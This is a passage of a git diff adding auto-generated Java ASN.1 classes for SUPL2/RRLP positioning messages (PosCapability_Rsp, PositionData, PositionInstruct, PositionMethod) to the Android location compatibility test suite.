+ @Override public Asn1Object getComponentValue() {
+ return getGANSSPositionMethods();
+ }
+
+ @Override public void setToNewInstance() {
+ setGANSSPositionMethodsToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSPositionMethods.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gANSSPositionMethods : "
+ + getGANSSPositionMethods().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getExtensionContainer() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getExtensionContainer();
+ }
+
+ @Override public void setToNewInstance() {
+ setExtensionContainerToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ExtensionContainer.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "extensionContainer : "
+ + getExtensionContainer().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("PosCapability_Req = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/PosCapability_Rsp.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/PosCapability_Rsp.java
new file mode 100755
index 0000000..d9fb8ef
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/PosCapability_Rsp.java
@@ -0,0 +1,465 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import android.location.cts.asn1.supl2.map_extensiondatatypes.ExtensionContainer;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class PosCapability_Rsp extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_PosCapability_Rsp
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public PosCapability_Rsp() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_PosCapability_Rsp;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_PosCapability_Rsp != null) {
+ return ImmutableList.of(TAG_PosCapability_Rsp);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new PosCapability_Rsp from encoded stream.
+ */
+ public static PosCapability_Rsp fromPerUnaligned(byte[] encodedBytes) {
+ PosCapability_Rsp result = new PosCapability_Rsp();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new PosCapability_Rsp from encoded stream.
+ */
+ public static PosCapability_Rsp fromPerAligned(byte[] encodedBytes) {
+ PosCapability_Rsp result = new PosCapability_Rsp();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private Extended_reference extended_reference_;
+ public Extended_reference getExtended_reference() {
+ return extended_reference_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Extended_reference
+ */
+ public void setExtended_reference(Asn1Object value) {
+ this.extended_reference_ = (Extended_reference) value;
+ }
+ public Extended_reference setExtended_referenceToNewInstance() {
+ extended_reference_ = new Extended_reference();
+ return extended_reference_;
+ }
+
+ private PosCapabilities posCapabilities_;
+ public PosCapabilities getPosCapabilities() {
+ return posCapabilities_;
+ }
+ /**
+ * @throws ClassCastException if value is not a PosCapabilities
+ */
+ public void setPosCapabilities(Asn1Object value) {
+ this.posCapabilities_ = (PosCapabilities) value;
+ }
+ public PosCapabilities setPosCapabilitiesToNewInstance() {
+ posCapabilities_ = new PosCapabilities();
+ return posCapabilities_;
+ }
+
+ private AssistanceSupported assistanceSupported_;
+ public AssistanceSupported getAssistanceSupported() {
+ return assistanceSupported_;
+ }
+ /**
+ * @throws ClassCastException if value is not a AssistanceSupported
+ */
+ public void setAssistanceSupported(Asn1Object value) {
+ this.assistanceSupported_ = (AssistanceSupported) value;
+ }
+ public AssistanceSupported setAssistanceSupportedToNewInstance() {
+ assistanceSupported_ = new AssistanceSupported();
+ return assistanceSupported_;
+ }
+
+ private AssistanceNeeded assistanceNeeded_;
+ public AssistanceNeeded getAssistanceNeeded() {
+ return assistanceNeeded_;
+ }
+ /**
+ * @throws ClassCastException if value is not a AssistanceNeeded
+ */
+ public void setAssistanceNeeded(Asn1Object value) {
+ this.assistanceNeeded_ = (AssistanceNeeded) value;
+ }
+ public AssistanceNeeded setAssistanceNeededToNewInstance() {
+ assistanceNeeded_ = new AssistanceNeeded();
+ return assistanceNeeded_;
+ }
+
+ private ExtensionContainer extensionContainer_;
+ public ExtensionContainer getExtensionContainer() {
+ return extensionContainer_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ExtensionContainer
+ */
+ public void setExtensionContainer(Asn1Object value) {
+ this.extensionContainer_ = (ExtensionContainer) value;
+ }
+ public ExtensionContainer setExtensionContainerToNewInstance() {
+ extensionContainer_ = new ExtensionContainer();
+ return extensionContainer_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getExtended_reference() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getExtended_reference();
+ }
+
+ @Override public void setToNewInstance() {
+ setExtended_referenceToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Extended_reference.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "extended_reference : "
+ + getExtended_reference().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getPosCapabilities() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getPosCapabilities();
+ }
+
+ @Override public void setToNewInstance() {
+ setPosCapabilitiesToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? PosCapabilities.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "posCapabilities : "
+ + getPosCapabilities().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getAssistanceSupported() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getAssistanceSupported();
+ }
+
+ @Override public void setToNewInstance() {
+ setAssistanceSupportedToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? AssistanceSupported.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "assistanceSupported : "
+ + getAssistanceSupported().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getAssistanceNeeded() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getAssistanceNeeded();
+ }
+
+ @Override public void setToNewInstance() {
+ setAssistanceNeededToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? AssistanceNeeded.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "assistanceNeeded : "
+ + getAssistanceNeeded().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getExtensionContainer() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getExtensionContainer();
+ }
+
+ @Override public void setToNewInstance() {
+ setExtensionContainerToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ExtensionContainer.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "extensionContainer : "
+ + getExtensionContainer().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("PosCapability_Rsp = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/PositionData.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/PositionData.java
new file mode 100755
index 0000000..bea74d7
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/PositionData.java
@@ -0,0 +1,109 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1BitString;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class PositionData extends Asn1BitString {
+ //
+
+ private static final Asn1Tag TAG_PositionData
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public PositionData() {
+ super();
+ setMinSize(3);
+setMaxSize(16);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_PositionData;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_PositionData != null) {
+ return ImmutableList.of(TAG_PositionData);
+ } else {
+ return Asn1BitString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new PositionData from encoded stream.
+ */
+ public static PositionData fromPerUnaligned(byte[] encodedBytes) {
+ PositionData result = new PositionData();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new PositionData from encoded stream.
+ */
+ public static PositionData fromPerAligned(byte[] encodedBytes) {
+ PositionData result = new PositionData();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "PositionData = " + getValue() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/PositionInstruct.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/PositionInstruct.java
new file mode 100755
index 0000000..8f5a20c
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/PositionInstruct.java
@@ -0,0 +1,464 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class PositionInstruct extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_PositionInstruct
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public PositionInstruct() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_PositionInstruct;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_PositionInstruct != null) {
+ return ImmutableList.of(TAG_PositionInstruct);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new PositionInstruct from encoded stream.
+ */
+ public static PositionInstruct fromPerUnaligned(byte[] encodedBytes) {
+ PositionInstruct result = new PositionInstruct();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new PositionInstruct from encoded stream.
+ */
+ public static PositionInstruct fromPerAligned(byte[] encodedBytes) {
+ PositionInstruct result = new PositionInstruct();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private MethodType methodType_;
+ public MethodType getMethodType() {
+ return methodType_;
+ }
+ /**
+ * @throws ClassCastException if value is not a MethodType
+ */
+ public void setMethodType(Asn1Object value) {
+ this.methodType_ = (MethodType) value;
+ }
+ public MethodType setMethodTypeToNewInstance() {
+ methodType_ = new MethodType();
+ return methodType_;
+ }
+
+ private PositionMethod positionMethod_;
+ public PositionMethod getPositionMethod() {
+ return positionMethod_;
+ }
+ /**
+ * @throws ClassCastException if value is not a PositionMethod
+ */
+ public void setPositionMethod(Asn1Object value) {
+ this.positionMethod_ = (PositionMethod) value;
+ }
+ public PositionMethod setPositionMethodToNewInstance() {
+ positionMethod_ = new PositionMethod();
+ return positionMethod_;
+ }
+
+ private MeasureResponseTime measureResponseTime_;
+ public MeasureResponseTime getMeasureResponseTime() {
+ return measureResponseTime_;
+ }
+ /**
+ * @throws ClassCastException if value is not a MeasureResponseTime
+ */
+ public void setMeasureResponseTime(Asn1Object value) {
+ this.measureResponseTime_ = (MeasureResponseTime) value;
+ }
+ public MeasureResponseTime setMeasureResponseTimeToNewInstance() {
+ measureResponseTime_ = new MeasureResponseTime();
+ return measureResponseTime_;
+ }
+
+ private UseMultipleSets useMultipleSets_;
+ public UseMultipleSets getUseMultipleSets() {
+ return useMultipleSets_;
+ }
+ /**
+ * @throws ClassCastException if value is not a UseMultipleSets
+ */
+ public void setUseMultipleSets(Asn1Object value) {
+ this.useMultipleSets_ = (UseMultipleSets) value;
+ }
+ public UseMultipleSets setUseMultipleSetsToNewInstance() {
+ useMultipleSets_ = new UseMultipleSets();
+ return useMultipleSets_;
+ }
+
+ private EnvironmentCharacter environmentCharacter_;
+ public EnvironmentCharacter getEnvironmentCharacter() {
+ return environmentCharacter_;
+ }
+ /**
+ * @throws ClassCastException if value is not a EnvironmentCharacter
+ */
+ public void setEnvironmentCharacter(Asn1Object value) {
+ this.environmentCharacter_ = (EnvironmentCharacter) value;
+ }
+ public EnvironmentCharacter setEnvironmentCharacterToNewInstance() {
+ environmentCharacter_ = new EnvironmentCharacter();
+ return environmentCharacter_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getMethodType() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getMethodType();
+ }
+
+ @Override public void setToNewInstance() {
+ setMethodTypeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? MethodType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "methodType : "
+ + getMethodType().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getPositionMethod() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getPositionMethod();
+ }
+
+ @Override public void setToNewInstance() {
+ setPositionMethodToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? PositionMethod.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "positionMethod : "
+ + getPositionMethod().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getMeasureResponseTime() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getMeasureResponseTime();
+ }
+
+ @Override public void setToNewInstance() {
+ setMeasureResponseTimeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? MeasureResponseTime.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "measureResponseTime : "
+ + getMeasureResponseTime().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getUseMultipleSets() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getUseMultipleSets();
+ }
+
+ @Override public void setToNewInstance() {
+ setUseMultipleSetsToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? UseMultipleSets.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "useMultipleSets : "
+ + getUseMultipleSets().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getEnvironmentCharacter() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getEnvironmentCharacter();
+ }
+
+ @Override public void setToNewInstance() {
+ setEnvironmentCharacterToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? EnvironmentCharacter.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "environmentCharacter : "
+ + getEnvironmentCharacter().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("PositionInstruct = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/PositionMethod.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/PositionMethod.java
new file mode 100755
index 0000000..877f4d5
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/PositionMethod.java
@@ -0,0 +1,159 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Enumerated;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class PositionMethod extends Asn1Enumerated {
+ public enum Value implements Asn1Enumerated.Value {
+ eotd(0),
+ gps(1),
+ gpsOrEOTD(2),
+ ;
+
+ Value(int i) {
+ value = i;
+ }
+
+ private int value;
+ public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return false;
+ }
+ }
+
+ public enum ExtensionValue implements Asn1Enumerated.Value {
+ ;
+
+ ExtensionValue(int i) {
+ value = i;
+ }
+
+ private int value;
+ @Override public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return true;
+ }
+ }
+
+
+
+ private static final Asn1Tag TAG_PositionMethod
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public PositionMethod() {
+ super();
+ }
+
+ @Override
+ @Nullable
